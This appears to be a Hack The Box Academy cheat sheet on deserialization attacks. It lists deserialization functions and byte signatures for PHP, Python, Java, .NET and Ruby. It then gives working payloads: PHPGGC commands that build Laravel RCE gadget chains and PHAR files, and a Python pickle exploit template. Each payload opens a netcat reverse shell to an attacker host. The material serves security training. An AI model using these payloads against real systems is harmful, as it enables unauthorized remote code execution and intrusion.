HACKTHEBOX

INTRODUCTION TO DESERIALIZATION ATTACKS

CHEAT SHEET

Identifying the use of Serialization

White-Box

Function	Language
`unserialize()`	PHP
`pickle.loads()`	Python (Pickle)
`jsonpickle.loads()`	Python (JSONPickle)
`yaml.load()`	Python (PyYAML, ruamel.yaml)
`readObject()`	Java
`Deserialize()`	C#/.NET
`Marshal.load()`	Ruby

Black Box

Bytes	Language
`a:4:{i:0;s:4:"Test";i:1;s:4:"Data";i:2;a:1:{i:0;i:4;}i:3;s:7:"ACADEMY";}`	PHP

Bytes	Language
`(lp0\nS'Test'\np1\naS'Data'\np2\na(lp3\nI4\naaS'ACADEMY'\np4\na.`	Python 2.x (Pickle Protocol 0)
`80 01` (Hex)	Python 2.x (Pickle Protocol 1)
`80 02` (Hex)	Python 2.3+ (Pickle Protocol 2)
`80 03` (Hex)	Python 3.8+ (Pickle Protocol 4)
`80 04 95` (Hex)	Python 3.x (Pickle Protocol 5)
`["Test", "Data", [4], "ACADEMY"]`	Python 2.7 / 3.6+ (JSONPickle
`- Test\n- Data\n- - 4\n- ACADEMY\n`	Python 3.6+ (PyYAML / ruamel.yaml)
`AC ED 00 05 73 72` (Hex), `rO0ABXNy` (Base64)	Java
`00 01 00 00 00 ff ff ff ff` (Hex), `AAEAAAD/////` (Base64)	C#/.NET
`04 08` (Hex)	Ruby

Exploiting PHP Deserialization

PHPGGC

```
# List out available gadget chains for a specific framework:
phpggc -l Laravel

# Generate an RCE payload using a specific gadget chain:
phpggc Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -b

# Generate a payload to exploit a PHAR deserialization vulnerability:
phpggc -p phar Laravel/RCE9 system 'nc -nv <ATTACKER_IP> 9999 -e /bin/bash' -o exploit.phar
```

Exploiting Python Deserialization

```
# Template for Pickle RCE exploit:

import pickle
import base64
import os

class RCE:
        def __reduce__(self):
                return os.system, ("nc -nv 1.2.3.4 5555 -e /bin/bash",)

print(base64.b64encode(pickle.dumps(RCE())).decode())
```


HTB ACADEMY CHEATSHEET